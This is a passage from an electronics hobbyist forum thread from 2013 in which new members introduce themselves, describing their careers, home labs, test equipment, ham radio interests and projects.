And if you have an issue with your Computer ask me i will try to help........

   
Title: Re: New Member, Please introduce yourself
Post by: jakeyflower on October 13, 2013, 01:18:48 am

Hi Guys,

My Name ist Marco Iam 39 years old and i live in Bonn (Germany).
Iam working in a little Factory as Chemical Technican Assistent.

Hey hybird, nice to meet you :)
I have sensitive skin an use some cream to sometimes :P


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Title: Re: New Member, Please introduce yourself
Post by: bitluni on October 13, 2013, 05:48:07 am
Hi,

My name is Matthias but most people on the webs know me as luni or bitluni (latter one for the uniqueness) and I'm 34 years old and live in Germany. Probably I have to hide now since as far as I know Dave hates software engineers, but that's just because he's jealous :box: I started with programming 23 years ago, but you could say I was always curious about electronics (btw I loved watching the curiosity-show when I was a child) and building stuff. My achievements until 10th birthday were beeing electrocuted two times by 230V mains taking things apart ::). In lack of a proper 'lab' I fully committed to software until early this year when I started with electronics again. Now after few months and about 2k€ later I could say my lab is sufficiently populated with equipment and components to build all the crazy stuff flooding my imagination.
At the beginning the EEVBlog was to sophisticated for me as a beginner, but with the help of other youtubers like Patrick Hood-Daniel, afrotechmods I got more of the basics and can follow quite well now. I also appreciate the new fundamentals segment from Dave (keep doing it  :-+).
I also started my own youtube channel http://www.youtube.com/channel/UCp_5PO66faM4dBFbFFBdPSQ (http://www.youtube.com/channel/UCp_5PO66faM4dBFbFFBdPSQ) which isn't the best atm. But it's getting better with the practice I get. Don't get it wrong.. I won't be like another "how to"-channel, but more like a mad scientist project channel (more like Ben Krasnow or Jamie Mantzel).  >:D 

I hope you people are nice!
Title: Re: New Member, Please introduce yourself
Post by: twjdeboer on October 13, 2013, 07:44:05 am
I'm a student at the TU Delft in The Netherlands. My specialization is in Mechanical Engineering, but my heart is in Electronics. I plan on doing a Masters in Mechatronics or something similar. My passion has started after a project in Mechatronics in which I had to relearn a lot about electronics, about a year ago. While I was doing this I stumbled upon the EEVblog on Youtube. I've been hooked ever since. My English is not terrible, but please correct me if I make any grave errors, I can always learn!
Title: Re: New Member, Please introduce yourself
Post by: tized on October 13, 2013, 08:25:02 am
Hello All,

I've been following Dave's blogs on and off for the past three years, but only recently discovered the forum. So after a few months of just passively lurking around, decided to join in.

My whole childhood I've taken things apart, so after my army service (during which I took some very expensive things apart) I did my B.Sc. EE to learn how to put everything together again. For many years I worked for a very big chip manufacturer, first as a test automation engineer and later as a VLSI functional verification engineer. Nearly a year ago I left said big company to a small outfit which designs cryptographic accelerators, secret key management and secure execution IP. (Cue black helicopters...) 

I have a humble home lab where I experiment with a bit of everything in electronics. Recent projects are a TA2022 based amplifier and some color LEDs for my kids hive shelves. 

TiZed
Title: Re: New Member, Please introduce yourself
Post by: Zsola on October 13, 2013, 09:01:53 am
Hi all, I am Zsola from Göd, Hungary!
I have an Electrical Engineer BSc (Automation, Vehicle Electronics Engineer), and have a Technical degree of IT systems. After the school I have started to write at Computer Panorama magazine (tester, then head of the testlab) and later at Chip magazine that I am still doing (17 years so far). I decided to renew my knowledge and go back to electronics about 3 years ago and do some products based mainly on PIC. I am a freelancer now, beside the writing I do electronics (design and repair) for fun, and hopefully for some money.
I have found EEVblog around no. 500, so I started to see all the posts from the beginning :)
Title: Re: New Member, Please introduce yourself
Post by: Napalm2002 on October 13, 2013, 02:41:49 pm
Hi I'm mike

Kind of a beginner, but I have a nice set of test equipment. Fluke 289,27,16,179,8062, two 8060a's 8024 8022b two 8020b's and an 8020a. Oh yeah two Triplett 630's Triplett 666 and an old tektronics anolog scope and two b&k power supplies and a b&k transistor testor. Love Dave's tear downs and all his videos and am just kinda hungry for knowledge. Off topic I am a mechanic by trade so any off topic car questions are welcome to my eev blog friends.
Title: Re: New Member, Please introduce yourself
Post by: rarthur22 on October 13, 2013, 04:12:46 pm
Hello All.  I have watched quite a few of Dave's videos and really enjoy them.  I am an Instrument Technician for a waste-water treatment plant (not very glamorous but someone has to do it!).  I have a lot of interest in electronics and have learned a lot from Dave's videos and drawings.  Has Dave ever done any presentations on 4-20ma loops and how they work?  We use a lot of those and there seems to be some misunderstanding about them.  I think it would be a worthy topic.
Title: Re: New Member, Please introduce yourself
Post by: MeneGR on October 14, 2013, 03:50:02 am
Hello everybody!

My name is Menelaos and I am from near Athens, Greece.

I have a basic understanding in electronics, but I believe I'm in the right way. Many months ago I stumbled upon Dave's youtube videos and, of course, I got stuck. Right now I'm watching the EEVblog #400 - 400th Live Show and I thought to combine the video with the introduction here!

Can't wait to catch up, hopefully before the counter reaches EEVblog #600 (I will watch the #555th out of order!).
Title: Re: New Member, Please introduce yourself
Post by: geraldjhg on October 14, 2013, 11:13:52 pm
hi
 im gerald from buenos aires argentina, was born in 1951, now using mainly mega88papu and bascomavr
lately bought an owon ds7102v scope and a cem dt-337 acdc clamp meter -very usefull combo-   
some experience on small smps,  small airport lighting and laser cutting. here in bs as it is very easy to buy
over the counter electronic components down to chip level (not much smd).  live near 34º30'58"S  58º29'20"
saludos
Title: Re: New Member, Please introduce yourself
Post by: jiggles on October 15, 2013, 10:01:14 am
I'm Callum and from Scotland. I'm a taker a part and not putting them back together working kind of person. Love electronics despite a lack of knowledge in the area but working on it all! Love to tinker and such.
Title: Re: New Member, Please introduce yourself
Post by: Noah on October 15, 2013, 08:03:01 pm
Hello folks

Another new user.. Or am I the first one from Switzerland..?! If not, please PM me!!!

I'am in a apprenticeship as EE and a electronics hobbyist for ages. I'm good in Microcontroller programming (Microchip and Freescale). My recent project is a brushless speed controller for UAVs and RC Airplanes.

Byside I play the piano and go to gym :clap:

Greetings from Switzerland
Noah
Title: Re: New Member, Please introduce yourself
Post by: ixfd64 on October 16, 2013, 01:34:19 pm
*wipes shoes on door mat*

Hello, my name is Danny, and I'm currently a software engineer in the Silicon Valley. My interests and hobbies include science, video games, lasers and consumer fireworks.

Many of the discussions on this forum seem really interesting, so I decided to register after lurking for some time. I look forward to being a member of this community!
Title: Re: New Member, Please introduce yourself
Post by: parabuzzle on October 17, 2013, 03:39:40 am
Hello, My name is Mike and I live in the heart of Silicon Valley California and I just stumbled upon the EEVblog youtube channel a few weeks ago. I'm a Software Engineer professionally and I have been an electronics hobbyist for awhile now.

-Mike
Title: Re: New Member, Please introduce yourself
Post by: zapta on October 17, 2013, 02:59:00 pm
All my life I have had affinity to electronics. As a kid I used to build simple electronic circuits and I went to a technical high school, in the electronic track. This is were I learned the basics of electronics and the love of everything digital ("you can do everything with only NAND gates"). After a few years of working as an electronic technician and loving it I decided to get more formal education. I ended up getting a degree in math  (the program was 3 years compared to 4 years EE so it was a no brainer ;-)) and then additional degrees in computer sciences and computer engineering (my dissertation was about computational geometry aspects of PCB routing).  My background in electronic is very useful in my career and have helped me working on a variety of disciplines from hardware design (board and HDL) and embedded software to, control systems, mobile systems and apps, EDA, internet technologies, and very large scale cloud systems and comptations. Kind of a jack of all trades, master of none.

These days I don't build as much hardware for the fun as I used to and would like, mostly because I can find outlet for the fire within in software. You can do quite a lot these days just by typing on a keyboard and moving the mouse, but I still love smell solder fume in the morning, really. I have a small lab at home, Weller solder iron, Hako desolder, Tek DSO, lab power supply, a small Fluke 107 multimeter, and a FLIR E4 on order. Trying to keep it manageable and simple.

Joined this site few weeks ago when I looked for multimeter reviews (ended up with the Fluke 107). It helped me reconnect with my electronic roots and I learn a lot for other people's postings and from Dave's videos, even little things such as how to optimize the shipping of thousands of PCB rulers (http://youtu.be/kU2qmhzlc2o (http://youtu.be/kU2qmhzlc2o)).
Title: Re: New Member, Please introduce yourself
Post by: sky on October 17, 2013, 06:35:37 pm
Hello to all , my name is sky and I am from china.
I just graduated from college this year.
Hope we have a good time here.
Title: Re: New Member, Please introduce yourself
Post by: Jorpy on October 18, 2013, 09:23:21 pm
Hi!
My name is Jeppe and I'm from Denmark.
Currently 17 years old. I started out as an Arduino noob, but Dave got me interested in "real" electronics  :-+
Title: Re: New Member, Please introduce yourself
Post by: denizcan on October 18, 2013, 10:32:07 pm
I am Deniz Can from Turkey. I make my living as a freelancer in embedded design. A work that forces me to use whatever chip is appropriate from whichever company to a given application.. I am like MCU tester.. :) Because of working with different chips forced me to develop simple and clean to use inter-mcu library.. My motto on developing embedded became: if you cannot re-use %90 percent of what you have written till now, you didn't do your job well..

I am famous on giving customer a few pages of code at final delivery, and they like it.. :))
Title: Re: New Member, Please introduce yourself
Post by: MauriceS on October 19, 2013, 03:45:17 pm
Hi,

I'm originally from The Netherlands (not the Province Holland ;-) who lived in a few countries, and now in Colorado, US. I have had an affinity for electronics since very young, and mainly digital at that stage. It was just easier... My career however turned me more to Software/Firmware engineering. I recently rediscovered my love for Electronics and am learning more about analog stuff now too... Not soo hard once you understand the math ;-)

I like Dave's funny way of explaining stuff...  Never to old to learn...
Title: Re: New Member, Please introduce yourself
Post by: makerimages on October 20, 2013, 09:50:04 pm
Hello from Estonia!

I`m a self-taught young (15yrs, 16 in a few weeks) electronics and IT enthusiast. Having a hobby like this is rather expensive around here, that is mainly the reason why I dont have anything to show yet, however I do have quite a bit of ideas, will hopefully get an arduino soon, thinking about maybe doing some Z80 experiments aswell.

Accidentally stumbelled onto daves blog maybe like  a year ago or so, Like the way he does it. Very informative. He deserves a Nobel prize for sure!
Title: Re: New Member, Please introduce yourself
Post by: peteroakes on October 21, 2013, 10:00:31 am
Hi there, I am Peter, I am an electronics engineer by trade but have spent many years on the software (Dark) side of things, a couple years ago I resurrected my passion for electronics and discovered Arduino's and other microcontrollers, now spend most of my spare time building up new gadgets, light controllers, temperature modules all round the house and anything else that sparks my interest, for full disclosure, I am way beyond being a student (In years , not skills) but enjoy sharing and learning new things, discovered Dave's blog last year and have been looking forward to new blogs since. Very informative, very funny and inspiring

Oh to keep with the flow, I have lived in Canada for the last 20 years but am originally from the UK, I miss those car boot sales and radio rallies....memories :)
Title: Re: New Member, Please introduce yourself
Post by: GreyWoolfe on October 21, 2013, 11:20:55 am
The name here is Tom, I am a field service technician working remotely.  I have a combination home office, work bench and ham radio shack.  I have a BS in Business Management from back in 1978 and an AS in EET from ITT Technical Institute in 1999.  I got away from electronics, doing field work repairing computers, various printer types and doing a little networking thrown in for good measure.  I have gotten the bug for electronics again and I want to start relearning all I forgot and add to that knowledge.  I definitely have a "poor man's" workbench.  I have the following:
TEK 2235 100 MHz analog scope
BK Precision 5100 100 MHz combiscope
Fluke 1952A counter/timer
Heathkit IG-72 Audio Generator with a bad meter
Protek B8055 function generator
Protek B-845 DMM
Leader LDC 823A counter connected to-
Leader LG-1301 function generator
Fluke 8840A DMM
Velleman handheld DMM
Craftsman branded Dremel and the drill press to go with it for drill through hole on PCBs
Hakko 936 for soldering those through hole components
Lots of hand tools-especially screwdrivers (just like you, Dave!)

Everything except the Craftsman setup, the Velleman and the Hakko was bought used for little money and I sold some old computers and servers to fund a good part of the purchases.  Also sold a Tek OS-245 P/U militarized scope that was too big for the area but had a dual vertical amplifier and a single vertical amplifier along with the time base to make it a 3 channel scope.

I am working on power supplies.  I have a small 5VDC 1A dual output power supply I put together from stuff I had around and I have a Elenco XP-720K on the way that I will be building and doing some upgrading to including 10 turn pots, some safety measures and a volt meter.  After that, I plan to save up for a Korad dual output power supply.  After the Elenco is built and I do some upgrading to the work space itself, I will post pictures in the proper thread for showing off.

For those who may be interested, my callsign is NW0LF and I have a Kenwood TS-850 HF radio, an ICOM 706 as a backup.  I also have a Kenwood 2 meter radio at my desk space so I can monitor the local repeaters while working.  I have a home made 40 OCF dipole, a Cushcraft R5 vertical and Diamond 2 meter vertical.  I can't forget to mention the obligatory 2 meter radio/antenna in the car with appropriate amateur radio license plate with my call sign on it  :D.  Interestingly, my furthest contact is a confirmed contact with a Ham in New Zealand.  Right in Dave'w neck of the world, so to speak.

I love Dave's blogs and the forum threads.  Some threads of memory are actually starting to resurface!  I will continue to lurk on the forums, ask questions and ask for help when needed and add comments when I can.  See you all down the EEVBlog!
Title: Re: New Member, Please introduce yourself
Post by: burbeck on October 22, 2013, 11:00:42 am
hi all
electronics tech from england.
saw some of the utube stuff, like your style Dave
Title: Re: New Member, Please introduce yourself
Post by: automaster209 on October 23, 2013, 07:48:58 am
I would like to say hello to everyone.  My name is Loren.  I happened to stumble across EEVlog on Youtube.  Dave has become a major 'instigator', or I mean inspirational in moving me forward in eletronics.  I have been an automotive technician for over 25 years and was excellent as a drivability technician with excellent computer diagnostics on automobiles. Thanks to Dave's videos I have invested in a couple of analog scopes and signal generator for a vehicle cheap price and I am starting to play around.  I would like to say "Thank you Dave.".  I find your videos awesome.
Title: Re: New Member, Please introduce yourself
Post by: idolstar on October 23, 2013, 08:53:55 am
Hi Everyone,

My name is Chris, I'm an ex-physics professor turned programmer. Two years ago a friend of mine said, "Have you ever used an Arduino?" Which led to a fair amount of blinking LEDs. I had a tendency to mess up components in my college circuits class, so I tended to stay away from electronics, but now I seem to be better at not destroying everything I tough, which makes it much more fun. I live in central California right now.

Chris
Title: Re: New Member, Please introduce yourself
Post by: tocsa120ls on October 24, 2013, 09:32:33 pm
 :blah: :blah: :blah: :blah: :blah: :blah:

Oh bother. I'm really sorry guys, I forgot to introduce myself first. I foolishly created a topic for my recent adventure, and completely forgot to do an introduction there. Hope I don't come over as a dolt. Anyways. Let my 7th post be my first one.

Hi there fellow carbon-based lifeforms. I'm a 32yo Systems Architect working in Budapest, Hungary. I work for a large Telecommunications company; I'm a holder (and user, if I might add) of an IBM Websphere, a VMWare vSphere 5, and also a Red Hat Admin certificate. At this job I manage, analyse, and troubleshoot our customers' various environments, and also do system design when I'm asked. I'm able to give multiple solutions to a problem, detailing the pros and cons of each solution.

In my spare time you'd most likely to find me next to cars, as I'm doing fault diagnosis and repair. Most recent was a hard-starting Renault Twingo, which turned out to be a disconnected camshaft position sensor. Hey, they can't always be "random communications fault on the CAN gateway", or my best yet, "the car won't idle unless the passenger door is open" < now that _was_ fun.

I'm hard pressed to qualify electronics as my other hobby, as cars nowadays are so tightly intervowen with various sensors, actuators and solenoids, that the good old days of 'gapping a plug' seem far away now - when a car rolls in with a problem, the first tool I take out is the OBD2 reader; plus, the last project I created was a power window regulator for my brother. Yeah, you won't find an old Opel Kadett with fully automatic windows elsewhere in Hungary. Now that I think of it, a 27yo car, which has a strong tendency to expose its raw metal to sunlight... may slowly be one of a few around these parts.

I have the ability to do a product from the ground up, like designing a circuit, building it on a bench, do troubleshooting/minimalisation, then design a PCB, make that PCB, populate it, and boom: ready to go. When I have to I mainly use Atmel uCs for my project, for the simple reason that those were the first I laid my hands on, I have no preference, I had to do some Microchip PICs in the past, so I'm good with them too. I can program in C, can debug lots of other languages :) I also speak German (have to, all my colleagues are working in Munich).

ps. I'm much more worse IRL, I can talk until you fall asleep. Thanks for reading through.
ps2. Oh. My daily driver is a black Volvo 960, the last of the big RWD boxes. Gets fewer MPGs than a 737 but I love it.
Title: Re: New Member, Please introduce yourself
Post by: dyazdani on October 27, 2013, 03:05:15 am
I live in New York and only dabble in electronics (Chemical background), but repair audio equipment, work on cars, etc.  I bought my first Arduino the other day so I've been browsing various forums.
Title: Re: New Member, Please introduce yourself
Post by: Elelctronix Hive on October 28, 2013, 02:52:01 pm
Hi my name is barrie, i have been interested in electronics and alternative energy sources for the last 2 years.
After a while of playing around with what some might call unconventional field of study and with no experience in the conventional i decided to start learning the mainstream side of things, EEVBLOG...videos are just amazing for all levels of electro fun :P  and serious people

Mk2 Bedini SSG (With Oscilloscope) (http://www.youtube.com/watch?v=XkhYv9XCh8Y#noexternalembed)

I am super stoked to be part of this forum....
Title: Re: New Member, Please introduce yourself
Post by: davelectronic on October 29, 2013, 09:33:45 am
Like to say hello to the community  from the UK south east coastal town of Ramsgate in Kent.

Very pleased to have found the EEVBlog forum, i watch all Dave's Blogs and projects i'm addicted they are best on the internet.

See you all on the boards from me a mad keen hobbyists.  ;D
Title: Re: New Member, Please introduce yourself
Post by: Whuffo on October 30, 2013, 01:19:02 am
Hi, I'm Michael

I'm an American, but now live in the Philippines. I retired early, and have a long and interesting career behind me. I worked my way through college as a technician, then teched some more while building a reputation. I did design work for many clients; for various contractural and legal reasons I can't give a lot of detail. My life as a design engineer in the '70s was "get hired - big office, two secretaries, big budget. Take marketing's wet dream and try to make it a real, manufacturable device. As soon as early prototypes show signs of life, get fired and spend months playing at home until the next contract". Rinse, repeat.

I did computer terminals with large boards covered with 7400 TTL chips. I did broadcast equipment; FM multiplex modulators, FM exciters, audio and video switchers and distribution amplifiers. I designed personal computers in the early "PC compatible" days. Personal projects included high quality audio amplifiers, speaker systems and other floobydust. When engineering contracts were scarce, I'd tech it - working on radio communications equipment, televisions / radios / hifi, etc. I did contract programming for a year or two, then moved to Silicon Valley and worked as a high level IT analyst for a major transportation company. For fun, I do some music composition. Some projects I remember: a solid state drive - to replace old hard drives made with unobtanium. This was done in 1975 using DRAM and a ROM state machine to control it. A serial interface card for the Apple II - used an 8253 there. Ever hear a burst of touch tones at commercial breaks in TV shows? I know where those come from and what they're for.

When that IT job ended due to me having a bad case of "over 50", I packed everything up and shipped it to the Philippines. I've been mostly taking it easy since then, but the old urge is nagging at me and I'm trying to get a working lab set up here. Some of it is unpacked, some is still in boxes - and the parts cabinets got shaken in transit and I'm going to have to go through the hundreds of drawers and sort things back out. I'm putting that one off until later. Components are very inexpensive here - if what you want is locally available.

I've seen a lot of technology go by; in my EE courses we learned how to design with vacuum tubes and did our math on slide rules. Pocket calculators, digital watches, cell phones, etc - these things came along during my career. Things I learned along the way: there's almost always more than one way to solve a problem, and your first choice probably isn't the right one. Simple is good; rather than throw the kitchen sink at a problem, solve it in a elegant way. And don't disregard older technology just because it's old. If you were to visit your local TV station's transmitter you'd find it's got vacuum tubes in it. I'll share some schematics as I find them; still unpacking the files here.
Title: Re: New Member, Please introduce yourself
Post by: Ton on October 30, 2013, 11:18:41 am
Hi all
 I am a BsEE, with 10+ years doing mobile phones, and now 3 years of making medical devices, based in Denmark. hope we can have  some :-DD
Title: Re: New Member, Please introduce yourself
Post by: adoherty on October 31, 2013, 02:25:26 am
Hi, I'm Anthony, and I am from VA.

I am currently a software sales guy, but I am also a hobbyist with many interest, including fixing things instead of throwing them away. My work history includes business management, environmental engineering (masters degree), restaurant management, home construction, auto repair and electronic assembly and test. I appreciate good design and quality construction/manufacturing.

I have a small working knowledge of electronics but would like to know more and am hoping I can find and share good knowledge and advice here. Thanks.
Title: Re: New Member, Please introduce yourself
Post by: Vgkid on November 01, 2013, 03:43:20 pm
Where in VA are you located, my guess is NOVA.
Title: Re: New Member, Please introduce yourself
Post by: pa4mic on November 01, 2013, 08:34:14 pm
Just an short post to say hello.

I'm Michael from the netherlands and electronic is an hobby for me (most part a little work). Some people will know it from the nickname i use, it's my personal hamradio call. It is one of my hobby's (have a lot) i do the most of the time.

I found eevblog in a search for test eqiupment review's and i must say i like the youtube movies a lot and it is time to join the forum. 8)

'73

Michael
Title: Re: New Member, Please introduce yourself
Post by: Alexandre Mello on November 02, 2013, 01:13:40 am
Hi, my name is Alexandre, I'm form Rio de Janeiro, Brazil, and I just finished an introductory course of electronics. I discovered the EEVblog almost a year ago and joined the forum in April this year, but I have never written before because  there is so much information here that I'm reading, reading, reading, … But I think that it's just time to participate more.
My goal is to learn analog electronics in depth, especially related to audio.
Title: Re: New Member, Please introduce yourself
Post by: Kohanbash on November 02, 2013, 01:33:59 am
Hi all

I just found the eevblog last week and now am trying to catch up with the blog videos.

I am from the USA and have a degree in EE. For the last 10 years or so I have been designing electronics and embedded systems for robots and testing them.

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: Tac Eht Xilef on November 02, 2013, 07:46:18 am
Hi, I'm Rod, and I'm an electronicsholic  :-DMM

Long time lurker, finally decided to register. 30-odd years as a hobbyist; 20-odd years as a comms tech on analogue & digital switching, transmission, radio, power, CAN electronics, and more (the majority of time as a 'real' technician, the last couple of years as a 'our customer technician will ...' technician); 8 years redundant; currently studying/doing something totally different  :blah:
Title: Re: New Member, Please introduce yourself
Post by: edwardcurrentclamps on November 03, 2013, 11:46:22 am
Hi all,

never said hello! My name is Michael and for obvious reasons to you all, I like EE. Electronics has been a life long hobby and is becoming more serious now. I have two degrees in a completely different field. Couldn't stand the real world experience though and decided to study EE starting from next year.

I love physics, old Arcade games, my machining workshop which finds itself on five pallets at the moment, the Australian Outback, Photography and fixing old lab equipment!

And of course, a good, cold German beer form time to time! Weihenstephaner forever!!! :clap:
Title: Re: New Member, Please introduce yourself
Post by: ProfDecoy on November 03, 2013, 02:19:53 pm
Greetings to the Forums!

I've been watching the videos for at least a year (since the Old IBM Mainframe HD teardown), but haven't been checking out the forums at all.

I more or less dabble in electronics, I took it back in high school, but went into IT instead for a career and haven't done much at all for many years.  However watching Dave's videos again has re-perked my interest in trying do do a few things again.

Licensed Ham Radio operator (US General Class), did some homebrew stuff when I was younger.
Title: Re: New Member, Please introduce yourself
Post by: RandomTask on November 03, 2013, 04:18:52 pm
Hello All!

I have been interested in electronics as a hobbyist for many years, and recently ran across Dave's EEVblog on YouTube.  Naturally, I ventured to the Forum after having heard of it from the Vblog. 

Although my formal education is in the field of accountancy, I have always been fascinated with computers and electronic items.  I look forward to learning much here, and possibly contributing to the Forum when I can provide something useful!

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: johnrg on November 04, 2013, 02:05:57 pm
Hello everyone! 

My name is John, from the United States.  I work with a lot of radio-related electronics in my job in the Marine Corps and I'm a licensed ham operator.  I'm planning on majoring in Electrical Engineering with a focus in RF Wireless Communications when I go back to university. 

I've watched the EEV Blog videos on YouTube for quite a while, but only recently started checking out the actual site.  I hope to learn a lot from the rest of you on the forums!
Title: Re: New Member, Please introduce yourself
Post by: moepower on November 05, 2013, 05:12:09 pm
Hi all,

I'm Paul, an electrical (power) engineer by profession in Australia.  However, I'm trying to develop my electronics skills as a hobbying thing.  I've been an avid watcher of Dave's eevblog videos which has got me hooked.  I'm trying to develop my home electronics lab.  Looking forward to what I can learn.

Cheers all.
Title: Re: New Member, Please introduce yourself
Post by: Mrdjdean on November 07, 2013, 05:15:12 am
Hey,

My name is Dave, I'm a mechanical engineer looking to enhance my knowledge with electronics and develop my workshop/lab/clean(isn) room.  I have been watching the EEVBLOG youtube channel for sometime now and i am getting more and more keen on everything electrical engineering based.

See you around
Title: Re: New Member, Please introduce yourself
Post by: kitiri on November 07, 2013, 08:23:32 am
Hi,

I have been watching for a while the EEVBLOG videos, excellent work by the way, and thought I register on the forum to share and learn (even though if my first sharing is a bad experience with futurlec ... !).


titiri

Title: Re: New Member, Please introduce yourself
Post by: Technicial on November 08, 2013, 11:05:36 am
Hi,

My name is Steven and i'm a Heavy duty equipment technician apprentice from newfoundland, Canada. i have been a maker of things and interested in electronics for few years. I started watching the EEVBLOG and became more interested in electronics than i previously was.


Nice to meet everyone.
Title: Re: New Member, Please introduce yourself
Post by: czdt8m on November 08, 2013, 08:43:12 pm
Hello everyone,

My name is Peter and I have been reading this blog and watching the EEVblog for some time now.

I have been working as a software engineer in industrial automation for some 28 years, and currently work as a technical lead for a couple of software engineers.

Back in the 80's i did get a degree in electronics (high school level) before I switched to industrial IT, and continued to work in that. But a year or so ago I started to watch youtube channels such as Maxxarcade, Mikes's channel and of course Dave's. This got me hooked again.

Since then I have started to get my own home lab together, and am now designing (or trying to) "Yet Another Nixie Clock" based on the Parallax Propeller and a GPS module. My ambition is to add network capability and make it into an NTP server.

I will propably will post some questions on this forum as I proceed.  :D

Finally, I hope that over time I can maybe help someone on this forum if it is in my area of knowledge, and become part of this community.

All the best.
Peter
Title: Re: New Member, Please introduce yourself
Post by: Tabs on November 09, 2013, 12:31:33 pm
Hi All,

Finally joined a few days ago. Thought I'd introduce myself.
My name is Tabraze.

I've been an EE for 5 years now and got my first job just before the 2008 stock market crash working in the comms industry on RF and audio designs. I'm currently working at a new company in the temperature control industry.

I cant remember when I saw my first EEVBlog episode but it was the PCB manufacturing episode #127.
I was hooked at "High, welcome to the EEVblog ... " :-+

Anyway,
Just wanted to use this opportunity to say Hi and to thank all the members of this forum and especially Dave Jones for all the good work your doing.
Thank you all.
The Job Interview guide episode probably got me my current Job so I hope I can return the favor by helping forum members with what limited experience I have to offer.

Cheers

Tabs

PS - Call me Tabs.
Title: Re: New Member, Please introduce yourself
Post by: MrAMR on November 10, 2013, 01:56:36 am
Hi, my name is Amir.
I'm a beginner industrial design engineering student.
I have a vast knowledge of computers and I'm really interested in electronics, although I have a small amount of knowledge "electronics" (previous liberal-arts and architecture student lol).

I found this forum through a video regarding the Nvidia GPU hacks, but now I found out that this forum is quite awesome for DIY, etc

Cheers!

btw, does this forum have a Youtube-channel?
Title: Re: New Member, Please introduce yourself
Post by: CJWarlock on November 10, 2013, 05:26:49 am
Hi everyone. I'm from Poland.

I've studied electronics in technical college. Interested in electronics since 10 years old. Fields of interest: LED lighting, stage equipment, retro computers.
Title: Re: New Member, Please introduce yourself
Post by: yvesdm3000 on November 10, 2013, 09:03:44 pm
Hello everyone,

I'm Yves and work as a freelance software engineer currently doing projects for an international (origin: Japan) electronics company which has an R&D department in Belgium and I'm obviously from Belgium.

Being a computer programmer at the base, I'm also interested in the electronics side of our job. I'm not afraid to replace a blown cap, but I'm by no means an EE-expert at all, but I'm learning  8). I'm also currently preparing to "fix" an airbag controller from a Peugeot 1007 that fired an airbag after a small sideways collision. It has an 68HC12BE32 cpu in it with now the self-disable bit set. Sadly not that much stuff to find on the hc12 cpu but found tons of other knowledge on this forum and Dave's videos have become a weekly item to watch out for !

Many thanks for this great forum.

Yves
Title: Re: New Member, Please introduce yourself
Post by: VK5RC on November 10, 2013, 10:29:31 pm
Hello, I work as a doctor but always held interest in electronics, hold my amateur radio licence VK5RC, esp interested in construction, esp microwave (>1GHz), currently building a set up to do EME (bounce radio off moon) on 1.2GHz, will prob take 12-18 months by the time I design, build test various components, power supply, power amplifier (200W), low noise pre-amp, dish mounts, RF safety calculations, dish movement actuators and control system. |O
Dave does a great job re EEV, Thanks again! :-+
Rob
Title: Re: New Member, Please introduce yourself
Post by: BBQ on November 11, 2013, 08:35:29 am
Hi

I'm from Sweden. I like electronics, no love story, we are just friends.

// BBQ
Title: Re: New Member, Please introduce yourself
Post by: Reboot on November 11, 2013, 01:04:09 pm
Hello from sunny Florida.  I actually grew up in Texas, where my father owned a TV repair shop where I cut my teeth for many years repairing TV's (I was around for the whole vacuum tube to solid state transition).  I am a mechanical engineer by degree.  Twenty-two years ago, my brother and I started our own company manufacturing different products for niche markets.  We have products in the Industrial Automation, Medical Equipment, and Renewable Energy markets.  We are a very vertically integrated company, and have extensive in-house design and manufacturing capabilities.  I'll try to post some pics of our facility at some point.

Although we have many engineers working for us, I am the one and only electrical engineer at our company, and as such have to wear many hats around here (Electrical and Mechanical Design, IT, repairing in-house equipment, etc).  My main electronic design experience is in embedded control system, motion control, and power systems.

I have designed hundreds of different circuit boards over the last 20 years; I have used Eagle for PCB design and layout since it was a DOS version!

So how does this relate to this blog?  Well, I have been an electronics enthusiast since my days in the TV shop.  I found Dave's Videos on youtube a couple of years ago.  I think I have watched almost all of them, some multiple times;D.  Keep up the good work Dave!

Anyway, I figured it was finally time to register and hopefully contribute my $0.02 once in a while.

Cheers
Title: Re: New Member, Please introduce yourself
Post by: sata on November 12, 2013, 07:41:41 am
Hello all!

I'm Ricardo from Portugal, i know eevblog for a few years, i even helped it to be known in the high school i'm in (ESTG).
Sadly i have only been able until now to watch around 30 videos, but one of these days i will do them whole, with an annotation notebook to ciment some very good tips!

Decided to finally join the forums, for some questions as usual!

Best regards
Title: Re: New Member, Please introduce yourself
Post by: austere on November 13, 2013, 01:45:53 pm
Hi guys,

I'm an ASIC designer from Australia who specialises in MEMS, I've been following the forum and Dave's excellent videos for years and I'm on the verge of completing my PhD so I thought I'd drop by [and procrastinate, oh dear].

Cheers.
Title: Re: New Member, Please introduce yourself
Post by: Dave Turner on November 14, 2013, 09:20:12 am
As a preteen I played with electronics in the early 60's, wrote my first 'hello world' in ALGOL in 1966-67, trained as an Architect, built my first microcomputer from an imported Zilog Z80 in 1974, practiced as an Architect, latterly using various CAD progammes, worked as a desktop/network engineer from 1993 until 2009, then being redundant looked after my father until his death. Currently setting up a new mini-lab in my limited available space to maintain the 'little grey cells'.

Title: Re: New Member, Please introduce yourself
Post by: DesignSparkMechanical on November 16, 2013, 07:25:05 am
Hi Im Darren I work for RS Components and am on the scout for talented engineers who can use Design Spark Mechanical. Talent is always richest in forums where expression breeds invention.
Title: Re: New Member, Please introduce yourself
Post by: NickPrince on November 19, 2013, 04:08:24 am
Hi! I'm Nick. I just opened up my town's first full-service digital shop. I'm MCSE, ACMT, Network+, Security+ and A+ certified, and have been a professional low-voltage technician for about three years, but a hobbyist since I was five. I'm into changing the world, being happy with others, and the Burning Man arts festival. I'm still getting the ropes together as far as running a business is concerned, but I'm in New Mexico, and people are very understanding and forgiving. Been turning out great work since opening at the beginning of the month, but it can always be better. S'why I'm here!

Anyways, here's the logo I came up with for my business, a 16-bit Zia (https://en.wikipedia.org/wiki/Flag_of_New_Mexico).

(http://i.imgur.com/SL7eIyn.jpg)

I should have some stickers to give away in another week or two!

I'm excited to be here, and am open! Feel free to drop me a line on here or at my e-mail: nick@binarycircuits.com
Title: Re: New Member, Please introduce yourself
Post by: spetku on November 19, 2013, 08:55:50 pm
Hello world,

I'm Sarah, a regular at Las Vegas' hackerspace SYN Shop. I'm a maker who creates robotic art and other electronic things. I've done a lot of work with delta robots, and I also make custom goggles in my free time! If you're interested in seeing what I do, check out my tech blog here :

http://roboticarts.wordpress.com (http://roboticarts.wordpress.com)

Or visit my youtube channel to see what i've been up to!

http://www.youtube.com/user/GravityRoad (http://www.youtube.com/user/GravityRoad)

(http://roboticarts.files.wordpress.com/2012/10/goggles17.jpg?w=300&h=)

Happy making! =]
Title: Re: New Member, Please introduce yourself
Post by: jacohk on November 20, 2013, 01:25:38 am
